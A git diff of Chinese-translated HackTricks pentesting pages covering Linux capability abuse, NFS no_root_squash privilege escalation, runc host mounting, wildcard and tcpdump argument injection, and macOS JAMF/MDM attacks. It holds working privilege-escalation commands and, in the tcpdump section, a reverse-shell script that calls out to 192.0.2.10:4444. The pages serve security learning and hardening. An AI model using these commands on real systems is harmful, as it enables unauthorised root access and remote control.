[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 不仅允许执行 `reboot(2)` 系统调用以重启系统,包括针对特定硬件平台的特定命令,如 `LINUX_REBOOT_CMD_RESTART2`,还允许使用 `kexec_load(2)`,并且从 Linux 3.17 开始,允许使用 `kexec_file_load(2)` 来加载新的或签名的崩溃内核。
|
||||
|
||||
## CAP_SYSLOG
|
||||
|
||||
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 在 Linux 2.6.37 中从更广泛的 **CAP_SYS_ADMIN** 中分离,专门授予使用 `syslog(2)` 调用的能力。此能力使得在 `kptr_restrict` 设置为 1 时,可以通过 `/proc` 和类似接口查看内核地址,该设置控制内核地址的暴露。自 Linux 2.6.39 起,`kptr_restrict` 的默认值为 0,这意味着内核地址被暴露,尽管许多发行版将其设置为 1(隐藏地址,除了 uid 0)或 2(始终隐藏地址)以出于安全原因。
|
||||
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 在 Linux 2.6.37 中从更广泛的 **CAP_SYS_ADMIN** 中分离,特别授予使用 `syslog(2)` 调用的能力。此能力使得在 `kptr_restrict` 设置为 1 时,可以通过 `/proc` 和类似接口查看内核地址,该设置控制内核地址的暴露。自 Linux 2.6.39 起,`kptr_restrict` 的默认值为 0,这意味着内核地址被暴露,尽管许多发行版出于安全原因将其设置为 1(隐藏地址,除非来自 uid 0)或 2(始终隐藏地址)。
|
||||
|
||||
此外,**CAP_SYSLOG** 允许在 `dmesg_restrict` 设置为 1 时访问 `dmesg` 输出。尽管这些变化,**CAP_SYS_ADMIN** 仍然保留执行 `syslog` 操作的能力,因其历史原因。
|
||||
|
||||
@ -1466,10 +1465,10 @@ f.write('New content for the file\n')
|
||||
|
||||
这是一个默认的 docker 能力 ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19))。
|
||||
|
||||
此能力允许在主机上进行特权升级(通过完全磁盘读取),在以下条件下:
|
||||
此能力允许在主机上进行特权提升(通过完全磁盘读取),在以下条件下:
|
||||
|
||||
1. 拥有对主机的初始访问(无特权)。
|
||||
2. 拥有对容器的初始访问(特权(EUID 0),并有效 `CAP_MKNOD`)。
|
||||
2. 拥有对容器的初始访问(特权(EUID 0),并有效的 `CAP_MKNOD`)。
|
||||
3. 主机和容器应共享相同的用户命名空间。
|
||||
|
||||
**在容器中创建和访问块设备的步骤:**
|
||||
@ -1503,17 +1502,17 @@ head /proc/12345/root/dev/sdb
|
||||
|
||||
### CAP_SETPCAP
|
||||
|
||||
**CAP_SETPCAP** 使进程能够 **更改另一个进程的能力集**,允许从有效、可继承和允许的集合中添加或删除能力。然而,进程只能修改其自身允许集中的能力,确保它无法将另一个进程的权限提升到超出自身的水平。最近的内核更新收紧了这些规则,限制 `CAP_SETPCAP` 只能减少其自身或其后代的允许集中的能力,旨在降低安全风险。使用此功能需要在有效集中拥有 `CAP_SETPCAP`,并在允许集中拥有目标能力,利用 `capset()` 进行修改。这总结了 `CAP_SETPCAP` 的核心功能和限制,突出了其在权限管理和安全增强中的作用。
|
||||
**CAP_SETPCAP** 使进程能够 **更改另一个进程的能力集**,允许从有效、可继承和允许的集合中添加或删除能力。然而,进程只能修改其自身允许集中的能力,确保它无法将另一个进程的权限提升到超出自身的范围。最近的内核更新收紧了这些规则,限制 `CAP_SETPCAP` 只能减少其自身或其后代的允许集中的能力,以降低安全风险。使用此功能需要在有效集中拥有 `CAP_SETPCAP`,并在允许集中拥有目标能力,利用 `capset()` 进行修改。这总结了 `CAP_SETPCAP` 的核心功能和限制,突出了其在权限管理和安全增强中的作用。
|
||||
|
||||
**`CAP_SETPCAP`** 是一种 Linux 能力,允许进程 **修改另一个进程的能力集**。它授予从其他进程的有效、可继承和允许能力集中添加或删除能力的能力。然而,使用此能力有某些限制。
|
||||
**`CAP_SETPCAP`** 是一种 Linux 能力,允许进程 **修改另一个进程的能力集**。它授予从其他进程的有效、可继承和允许能力集中添加或删除能力的能力。然而,对如何使用此能力有某些限制。
|
||||
|
||||
具有 `CAP_SETPCAP` 的进程 **只能授予或移除其自身允许能力集中存在的能力**。换句话说,如果一个进程没有某个能力,它不能将该能力授予另一个进程。这一限制防止了进程将另一个进程的权限提升到超出自身的权限级别。
|
||||
具有 `CAP_SETPCAP` 的进程 **只能授予或删除其自身允许能力集中存在的能力**。换句话说,如果进程自身没有某个能力,则无法将该能力授予另一个进程。这一限制防止了进程将另一个进程的权限提升到超出自身的权限级别。
|
||||
|
||||
此外,在最近的内核版本中,`CAP_SETPCAP` 能力已被 **进一步限制**。它不再允许进程任意修改其他进程的能力集。相反,它 **仅允许进程降低其自身允许能力集或其后代的允许能力集中的能力**。这一变化是为了减少与该能力相关的潜在安全风险。
|
||||
此外,在最近的内核版本中,`CAP_SETPCAP` 能力已被 **进一步限制**。它不再允许进程任意修改其他进程的能力集。相反,它 **仅允许进程降低其自身允许能力集或其后代的允许能力集中的能力**。这一变化旨在减少与能力相关的潜在安全风险。
|
||||
|
||||
要有效使用 `CAP_SETPCAP`,您需要在有效能力集中拥有该能力,并在允许能力集中拥有目标能力。然后,您可以使用 `capset()` 系统调用来修改其他进程的能力集。
|
||||
|
||||
总之,`CAP_SETPCAP` 允许进程修改其他进程的能力集,但不能授予它自己没有的能力。此外,由于安全问题,其功能在最近的内核版本中已被限制,仅允许减少其自身允许能力集或其后代的允许能力集中的能力。
|
||||
总之,`CAP_SETPCAP` 允许进程修改其他进程的能力集,但不能授予自身没有的能力。此外,由于安全问题,其功能在最近的内核版本中已被限制,仅允许减少其自身允许能力集或其后代的允许能力集中的能力。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -1,14 +1,16 @@
|
||||
# NFS No Root Squash Misconfiguration Privilege Escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Squashing 基本信息
|
||||
## Squashing Basic Info
|
||||
|
||||
NFS 通常(特别是在 Linux 中)会信任连接到文件的客户端所指示的 `uid` 和 `gid`(如果未使用 kerberos)。然而,服务器上可以设置一些配置来 **改变这种行为**:
|
||||
NFS 通常(特别是在 Linux 中)会信任连接的客户端所指示的 `uid` 和 `gid` 来访问文件(如果没有使用 kerberos)。然而,服务器上可以设置一些配置来**改变这种行为**:
|
||||
|
||||
- **`all_squash`**:它会将所有访问映射到 **`nobody`**(65534 无符号 / -2 有符号)。因此,所有人都是 `nobody`,没有用户被使用。
|
||||
- **`all_squash`**:它会将所有访问映射到**`nobody`**(65534 无符号 / -2 有符号)。因此,所有人都是 `nobody`,没有用户被使用。
|
||||
- **`root_squash`/`no_all_squash`**:这是 Linux 的默认设置,**仅对 uid 0(root)进行压缩**。因此,任何 `UID` 和 `GID` 都被信任,但 `0` 被压缩为 `nobody`(因此无法进行 root 冒充)。
|
||||
- **`no_root_squash`**:如果启用此配置,甚至不会压缩 root 用户。这意味着如果你以此配置挂载一个目录,你可以作为 root 访问它。
|
||||
|
||||
在 **/etc/exports** 文件中,如果你发现某个目录被配置为 **no_root_squash**,那么你可以 **作为客户端访问** 它,并 **像本地机器的 root 一样在** 该目录中 **写入**。
|
||||
在 **/etc/exports** 文件中,如果你发现某个目录被配置为 **no_root_squash**,那么你可以**作为客户端访问**它,并**像本地机器的 root 一样在该目录中写入**。
|
||||
|
||||
有关 **NFS** 的更多信息,请查看:
|
||||
|
||||
@ -16,13 +18,13 @@ NFS 通常(特别是在 Linux 中)会信任连接到文件的客户端所指
|
||||
../../network-services-pentesting/nfs-service-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
# 权限提升
|
||||
## Privilege Escalation
|
||||
|
||||
## 远程利用
|
||||
### Remote Exploit
|
||||
|
||||
选项 1 使用 bash:
|
||||
- **在客户端机器上挂载该目录**,并 **作为 root 复制** `/bin/bash` 二进制文件到挂载文件夹中,并赋予其 **SUID** 权限,然后 **从受害者** 机器执行该 bash 二进制文件。
|
||||
- 请注意,要在 NFS 共享中成为 root,必须在服务器上配置 **`no_root_squash`**。
|
||||
- **在客户端机器上挂载该目录**,并**作为 root 复制** `/bin/bash` 二进制文件到挂载文件夹中,并赋予其 **SUID** 权限,然后**从受害者**机器执行该 bash 二进制文件。
|
||||
- 请注意,要在 NFS 共享中成为 root,**`no_root_squash`** 必须在服务器上配置。
|
||||
- 然而,如果未启用,你可以通过将二进制文件复制到 NFS 共享并以你想要提升的用户身份赋予 SUID 权限来提升到其他用户。
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
@ -37,7 +39,7 @@ cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
选项 2 使用 C 编译代码:
|
||||
- **在客户端机器上挂载该目录**,并 **以 root 身份复制** 我们的编译有效载荷到挂载文件夹中,该有效载荷将滥用 SUID 权限,赋予其 **SUID** 权限,并 **从受害者** 机器执行该二进制文件(您可以在这里找到一些 [C SUID payloads](payloads-to-execute.md#c))。
|
||||
- **在客户端机器上挂载该目录**,并 **以 root 身份复制** 我们的编译有效载荷到挂载文件夹中,该有效载荷将滥用 SUID 权限,赋予其 **SUID** 权限,并 **从受害者** 机器执行该二进制文件(您可以在这里找到一些 [C SUID 有效载荷](payloads-to-execute.md#c))。
|
||||
- 与之前相同的限制
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
@ -52,28 +54,28 @@ chmod +s payload
|
||||
cd <SHAREDD_FOLDER>
|
||||
./payload #ROOT shell
|
||||
```
|
||||
## Local Exploit
|
||||
### Local Exploit
|
||||
|
||||
> [!NOTE]
|
||||
> 注意,如果您可以从您的机器创建一个**到受害者机器的隧道,您仍然可以使用远程版本来利用此权限提升,隧道所需的端口**。\
|
||||
> 以下技巧适用于文件`/etc/exports` **指示一个IP**的情况。在这种情况下,您**无论如何都无法使用** **远程利用**,您需要**利用这个技巧**。\
|
||||
> [!TIP]
|
||||
> 注意,如果您可以从您的机器创建一个**到受害者机器的隧道,您仍然可以使用远程版本来利用此特权提升,隧道所需的端口**。\
|
||||
> 以下技巧适用于文件`/etc/exports` **指示一个IP**的情况。在这种情况下,您**将无法使用**任何情况下的**远程利用**,您需要**利用这个技巧**。\
|
||||
> 另一个使利用能够工作的必要条件是**`/etc/export`中的导出** **必须使用`insecure`标志**。\
|
||||
> --_我不确定如果`/etc/export`指示一个IP地址,这个技巧是否有效_--
|
||||
|
||||
## Basic Information
|
||||
### Basic Information
|
||||
|
||||
该场景涉及利用本地机器上挂载的NFS共享,利用NFSv3规范中的一个缺陷,该缺陷允许客户端指定其uid/gid,可能导致未经授权的访问。利用涉及使用[libnfs](https://github.com/sahlberg/libnfs),这是一个允许伪造NFS RPC调用的库。
|
||||
该场景涉及利用本地机器上挂载的NFS共享,利用NFSv3规范中的一个缺陷,该缺陷允许客户端指定其uid/gid,从而可能实现未经授权的访问。利用涉及使用[libnfs](https://github.com/sahlberg/libnfs),这是一个允许伪造NFS RPC调用的库。
|
||||
|
||||
### Compiling the Library
|
||||
#### Compiling the Library
|
||||
|
||||
库的编译步骤可能需要根据内核版本进行调整。在这个特定情况下,fallocate系统调用被注释掉。编译过程涉及以下命令:
|
||||
库的编译步骤可能需要根据内核版本进行调整。在这种特定情况下,fallocate系统调用被注释掉。编译过程涉及以下命令:
|
||||
```bash
|
||||
./bootstrap
|
||||
./configure
|
||||
make
|
||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
|
||||
```
|
||||
### 进行利用
|
||||
#### 进行利用
|
||||
|
||||
利用涉及创建一个简单的 C 程序 (`pwn.c`),该程序提升权限到 root,然后执行一个 shell。程序被编译,生成的二进制文件 (`a.out`) 被放置在具有 suid root 的共享上,使用 `ld_nfs.so` 在 RPC 调用中伪造 uid:
|
||||
|
||||
@ -90,14 +92,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
3. **执行漏洞利用以获取根权限:**
|
||||
3. **执行漏洞利用以获得根权限:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
## Bonus: NFShell for Stealthy File Access
|
||||
### Bonus: NFShell for Stealthy File Access
|
||||
|
||||
一旦获得 root 访问权限,为了在不更改所有权的情况下与 NFS 共享进行交互(以避免留下痕迹),使用一个 Python 脚本(nfsh.py)。该脚本调整 uid 以匹配正在访问的文件的 uid,从而允许在共享上与文件进行交互,而不会出现权限问题:
|
||||
一旦获得 root 访问权限,为了在不更改所有权的情况下与 NFS 共享进行交互(以避免留下痕迹),使用一个 Python 脚本(nfsh.py)。该脚本调整 uid 以匹配正在访问的文件,从而允许在共享上与文件进行交互,而不会出现权限问题:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
## PE
|
||||
|
||||
如果你发现 `runc` 已安装在主机上,你可能能够 **运行一个挂载主机根目录 / 的容器**。
|
||||
如果你发现 `runc` 已安装在主机上,你可能能够 **运行一个挂载主机根 / 文件夹的容器**。
|
||||
```bash
|
||||
runc -help #Get help and see if runc is intalled
|
||||
runc spec #This will create the config.json file in your current folder
|
||||
@ -37,6 +37,6 @@ mkdir rootfs
|
||||
runc run demo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 这并不总是有效,因为 runc 的默认操作是以 root 身份运行,因此以非特权用户身份运行它根本无法工作(除非你有无根配置)。将无根配置设为默认通常不是一个好主意,因为在无根容器内部有相当多的限制,而这些限制在无根容器外部并不适用。
|
||||
> 这并不总是有效,因为 runc 的默认操作是以 root 身份运行,因此以非特权用户身份运行它根本无法工作(除非您有无根配置)。将无根配置设为默认通常不是一个好主意,因为在无根容器内部有相当多的限制,而这些限制在无根容器外部并不适用。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,9 +1,9 @@
|
||||
# 通配符备用技巧
|
||||
# Wildcards Spare Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> 通配符(又称 *glob*)**参数注入**发生在特权脚本运行 Unix 二进制文件,如 `tar`、`chown`、`rsync`、`zip`、`7z` 等,使用未加引号的通配符,如 `*`。
|
||||
> 由于 shell 在执行二进制文件**之前**扩展通配符,因此能够在工作目录中创建文件的攻击者可以构造以 `-` 开头的文件名,使其被解释为**选项而不是数据**,有效地走私任意标志或甚至命令。
|
||||
> 由于 shell 在执行二进制文件之前会扩展通配符,因此能够在工作目录中创建文件的攻击者可以构造以 `-` 开头的文件名,使其被解释为 **选项而不是数据**,有效地走私任意标志或甚至命令。
|
||||
> 本页面收集了 2023-2025 年最有用的原语、最新研究和现代检测。
|
||||
|
||||
## chown / chmod
|
||||
@ -86,11 +86,11 @@ touch @root.txt # tells 7z to use root.txt as file list
|
||||
```bash
|
||||
zip result.zip files -T --unzip-command "sh -c id"
|
||||
```
|
||||
通过精心制作的文件名注入标志,并等待特权备份脚本对结果文件调用 `zip -T`(测试归档)。
|
||||
通过精心制作的文件名注入标志,并等待特权备份脚本在生成的文件上调用 `zip -T`(测试归档)。
|
||||
|
||||
---
|
||||
|
||||
## 额外的易受通配符注入攻击的二进制文件(2023-2025 快速列表)
|
||||
## 额外的易受通配符注入影响的二进制文件(2023-2025 快速列表)
|
||||
|
||||
以下命令在现代 CTF 和真实环境中被滥用。有效载荷始终作为一个 *文件名* 创建在一个可写目录中,稍后将通过通配符处理:
|
||||
|
||||
@ -101,17 +101,60 @@ zip result.zip files -T --unzip-command "sh -c id"
|
||||
| `git` | `-c core.sshCommand=<cmd>` | 通过 SSH 执行 git 命令 |
|
||||
| `scp` | `-S <cmd>` | 生成任意程序而不是 ssh |
|
||||
|
||||
这些原语不如 *tar/rsync/zip* 经典常见,但在猎杀时值得检查。
|
||||
这些原语不如 *tar/rsync/zip* 经典常见,但在狩猎时值得检查。
|
||||
|
||||
---
|
||||
|
||||
## tcpdump 轮换钩子 (-G/-W/-z):通过 argv 注入在包装器中实现 RCE
|
||||
|
||||
当受限的 shell 或供应商包装器通过连接用户控制的字段(例如,“文件名”参数)构建 `tcpdump` 命令行时,如果没有严格的引用/验证,您可以偷偷注入额外的 `tcpdump` 标志。`-G`(基于时间的轮换)、`-W`(限制文件数量)和 `-z <cmd>`(后轮换命令)的组合会导致以运行 tcpdump 的用户身份(通常是设备上的 root)执行任意命令。
|
||||
|
||||
前提条件:
|
||||
|
||||
- 您可以影响传递给 `tcpdump` 的 `argv`(例如,通过像 `/debug/tcpdump --filter=... --file-name=<HERE>` 的包装器)。
|
||||
- 包装器不清理文件名字段中的空格或以 `-` 开头的标记。
|
||||
|
||||
经典 PoC(从可写路径执行反向 shell 脚本):
|
||||
```sh
|
||||
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
|
||||
cat > /mnt/disk1_1/rce.sh <<'EOF'
|
||||
#!/bin/sh
|
||||
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
|
||||
EOF
|
||||
chmod +x /mnt/disk1_1/rce.sh
|
||||
|
||||
# Inject additional tcpdump flags via the unsafe "file name" field
|
||||
/debug/tcpdump --filter="udp port 1234" \
|
||||
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
|
||||
|
||||
# On the attacker host
|
||||
nc -6 -lvnp 4444 &
|
||||
# Then send any packet that matches the BPF to force a rotation
|
||||
printf x | nc -u -6 [victim_ipv6] 1234
|
||||
```
|
||||
细节:
|
||||
|
||||
- `-G 1 -W 1` 强制在第一个匹配的数据包后立即旋转。
|
||||
- `-z <cmd>` 在每次旋转后运行后旋转命令。许多构建执行 `<cmd> <savefile>`。如果 `<cmd>` 是脚本/解释器,请确保参数处理与您的有效负载匹配。
|
||||
|
||||
不可移动媒体变体:
|
||||
|
||||
- 如果您有其他原始方法来写入文件(例如,允许输出重定向的单独命令包装器),将您的脚本放入已知路径并触发 `-z /bin/sh /path/script.sh` 或 `-z /path/script.sh`,具体取决于平台语义。
|
||||
- 一些供应商包装器旋转到攻击者可控的位置。如果您可以影响旋转路径(符号链接/目录遍历),您可以引导 `-z` 执行您完全控制的内容,而无需外部媒体。
|
||||
|
||||
供应商的加固建议:
|
||||
|
||||
- 切勿直接将用户控制的字符串传递给 `tcpdump`(或任何工具),而不使用严格的允许列表。引用并验证。
|
||||
- 不要在包装器中暴露 `-z` 功能;使用固定的安全模板运行 tcpdump,并完全禁止额外标志。
|
||||
- 降低 tcpdump 权限(仅限 cap_net_admin/cap_net_raw)或在具有 AppArmor/SELinux 限制的专用非特权用户下运行。
|
||||
|
||||
## 检测与加固
|
||||
|
||||
1. **在关键脚本中禁用 shell 通配符扩展**:`set -f` (`set -o noglob`) 防止通配符扩展。
|
||||
1. **在关键脚本中禁用 shell 通配符**:`set -f` (`set -o noglob`) 防止通配符扩展。
|
||||
2. **引用或转义** 参数:`tar -czf "$dst" -- *` 是 *不安全的* — 更倾向于使用 `find . -type f -print0 | xargs -0 tar -czf "$dst"`。
|
||||
3. **显式路径**:使用 `/var/www/html/*.log` 而不是 `*`,以便攻击者无法创建以 `-` 开头的兄弟文件。
|
||||
4. **最小权限**:尽可能以非特权服务帐户而不是 root 运行备份/维护作业。
|
||||
5. **监控**:Elastic 的预构建规则 *通过通配符注入的潜在 Shell* 查找 `tar --checkpoint=*`、`rsync -e*` 或 `zip --unzip-command` 后立即跟随的 shell 子进程。EQL 查询可以适应其他 EDR。
|
||||
5. **监控**:Elastic 的预构建规则 *通过通配符注入的潜在 Shell* 查找 `tar --checkpoint=*`、`rsync -e*` 或 `zip --unzip-command` 后面紧跟着一个 shell 子进程。EQL 查询可以适应其他 EDR。
|
||||
|
||||
---
|
||||
|
||||
@ -119,5 +162,7 @@ zip result.zip files -T --unzip-command "sh -c id"
|
||||
|
||||
* Elastic Security – 检测到的通过通配符注入的潜在 Shell 规则(最后更新于 2025 年)
|
||||
* Rutger Flohil – “macOS — Tar 通配符注入”(2024 年 12 月 18 日)
|
||||
* GTFOBins – [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
|
||||
* FiberGateway GR241AG – [完整利用链](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
- JAMF Pro: `jamf checkJSSConnection`
|
||||
- Kandji
|
||||
|
||||
如果你成功**获取管理员凭据**以访问管理平台,你可以**潜在地危害所有计算机**,通过在机器上分发恶意软件。
|
||||
如果你成功**获取管理员凭据**以访问管理平台,你可以**潜在地危害所有计算机**,通过在机器中分发恶意软件。
|
||||
|
||||
在 MacOS 环境中进行红队活动,强烈建议对 MDM 的工作原理有一定了解:
|
||||
|
||||
@ -22,19 +22,19 @@ MDM 将有权限安装、查询或删除配置文件,安装应用程序,创
|
||||
|
||||
为了运行自己的 MDM,你需要**你的 CSR 由供应商签名**,你可以尝试通过 [**https://mdmcert.download/**](https://mdmcert.download/) 获取。要为 Apple 设备运行自己的 MDM,你可以使用 [**MicroMDM**](https://github.com/micromdm/micromdm)。
|
||||
|
||||
然而,要在注册设备上安装应用程序,你仍然需要它由开发者帐户签名... 然而,在 MDM 注册时,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,所以你现在可以签署任何东西。
|
||||
然而,要在注册设备上安装应用程序,你仍然需要它由开发者帐户签名... 然而,在 MDM 注册时,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此你现在可以签署任何内容。
|
||||
|
||||
要将设备注册到 MDM,你需要以 root 身份安装一个**`mobileconfig`** 文件,这可以通过**pkg** 文件传递(你可以将其压缩为 zip,当从 Safari 下载时会被解压)。
|
||||
要将设备注册到 MDM,你需要以 root 身份安装一个 **`mobileconfig`** 文件,这可以通过 **pkg** 文件传递(你可以将其压缩为 zip,当从 Safari 下载时会被解压)。
|
||||
|
||||
**Mythic agent Orthrus** 使用了这种技术。
|
||||
|
||||
### 滥用 JAMF PRO
|
||||
|
||||
JAMF 可以运行**自定义脚本**(由系统管理员开发的脚本)、**本地有效载荷**(本地帐户创建、设置 EFI 密码、文件/进程监控...)和**MDM**(设备配置、设备证书...)。
|
||||
JAMF 可以运行 **自定义脚本**(由系统管理员开发的脚本)、**本地有效载荷**(本地帐户创建、设置 EFI 密码、文件/进程监控...)和 **MDM**(设备配置、设备证书...)。
|
||||
|
||||
#### JAMF 自助注册
|
||||
|
||||
访问 `https://<company-name>.jamfcloud.com/enroll/` 这样的页面,查看他们是否启用了**自助注册**。如果启用了,可能会**要求输入凭据以访问**。
|
||||
访问 `https://<company-name>.jamfcloud.com/enroll/` 这样的页面,查看他们是否启用了 **自助注册**。如果启用了,可能会**要求输入凭据以访问**。
|
||||
|
||||
你可以使用脚本 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 执行密码喷洒攻击。
|
||||
|
||||
@ -47,7 +47,7 @@ JAMF 可以运行**自定义脚本**(由系统管理员开发的脚本)、**
|
||||
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** 二进制文件包含打开钥匙串的秘密,在发现时是**共享**给每个人的,内容是:**`jk23ucnq91jfu9aj`**。\
|
||||
此外,jamf **持久化**为**LaunchDaemon** 在 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
此外,jamf **持久化**为 **LaunchDaemon** 在 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### JAMF 设备接管
|
||||
|
||||
@ -60,12 +60,12 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
||||
<key>is_virtual_machine</key>
|
||||
<false/>
|
||||
<key>jss_url</key>
|
||||
<string>https://halbornasd.jamfcloud.com/</string>
|
||||
<string>https://subdomain-company.jamfcloud.com/</string>
|
||||
<key>last_management_framework_change_id</key>
|
||||
<integer>4</integer>
|
||||
[...]
|
||||
```
|
||||
因此,攻击者可以放置一个恶意包(`pkg`),在安装时**覆盖此文件**,将**URL设置为来自Typhon代理的Mythic C2监听器**,以便能够滥用JAMF作为C2。
|
||||
因此,攻击者可以放置一个恶意包(`pkg`),在安装时**覆盖此文件**,将**URL设置为来自Typhon代理的Mythic C2监听器**,从而能够滥用JAMF作为C2。
|
||||
```bash
|
||||
# After changing the URL you could wait for it to be reloaded or execute:
|
||||
sudo jamf policy -id 0
|
||||
@ -79,7 +79,7 @@ sudo jamf policy -id 0
|
||||
- 设备的 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
- **JAMF 密钥链**来自: `/Library/Application\ Support/Jamf/JAMF.keychain`,其中包含设备证书
|
||||
|
||||
有了这些信息,**创建一个虚拟机**,使用**被盗**的硬件**UUID**,并且**禁用 SIP**,放置**JAMF 密钥链,** **hook** Jamf **代理**并窃取其信息。
|
||||
有了这些信息,**创建一个虚拟机**,使用**被盗**的硬件**UUID**并且**禁用 SIP**,放置**JAMF 密钥链,** **hook** Jamf **代理**并窃取其信息。
|
||||
|
||||
#### 秘密窃取
|
||||
|
||||
@ -119,11 +119,11 @@ sudo jamf policy -id 0
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
还为MacOS准备了一些工具,以自动枚举AD并与kerberos进行交互:
|
||||
此外,还有一些为MacOS准备的工具,可以自动枚举AD并与kerberos进行交互:
|
||||
|
||||
- [**Machound**](https://github.com/XMCyber/MacHound):MacHound是Bloodhound审计工具的扩展,允许在MacOS主机上收集和摄取Active Directory关系。
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost):Bifrost是一个Objective-C项目,旨在与macOS上的Heimdal krb5 API进行交互。该项目的目标是使用本机API在macOS设备上进行更好的Kerberos安全测试,而无需在目标上要求任何其他框架或软件包。
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard):用于Active Directory枚举的JavaScript自动化(JXA)工具。
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost):Bifrost是一个Objective-C项目,旨在与macOS上的Heimdal krb5 API进行交互。该项目的目标是使用本地API在macOS设备上进行更好的Kerberos安全测试,而无需在目标上要求任何其他框架或软件包。
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard):用于进行Active Directory枚举的JavaScript自动化(JXA)工具。
|
||||
|
||||
### 域信息
|
||||
```bash
|
||||
@ -166,7 +166,11 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
|
||||
#Domain Information
|
||||
dsconfigad -show
|
||||
```
|
||||
更多信息请访问 [https://its-a-feature.github.io/posts/2018/
|
||||
更多信息请访问 [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
### Computer$ 密码
|
||||
|
||||
使用以下方法获取密码:
|
||||
```bash
|
||||
bifrost --action askhash --username [name] --password [password] --domain [domain]
|
||||
```
|
||||
@ -190,7 +194,7 @@ bifrost --action asktgt --username test_lab_admin \
|
||||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
```
|
||||
通过获得的服务票证,可以尝试访问其他计算机上的共享:
|
||||
通过获取的服务票证,可以尝试访问其他计算机上的共享:
|
||||
```bash
|
||||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
@ -215,7 +219,7 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多
|
||||
|
||||
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
- [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
- [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
@ -223,5 +227,4 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多
|
||||
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
|
||||
### **MDM(移动设备管理)概述**
|
||||
|
||||
[移动设备管理](https://en.wikipedia.org/wiki/Mobile_device_management)(MDM)用于管理各种终端用户设备,如智能手机、笔记本电脑和平板电脑。特别是对于苹果的平台(iOS、macOS、tvOS),它涉及一套专门的功能、API和实践。MDM 的操作依赖于一个兼容的 MDM 服务器,该服务器可以是商业可用的或开源的,并且必须支持 [MDM 协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。关键点包括:
|
||||
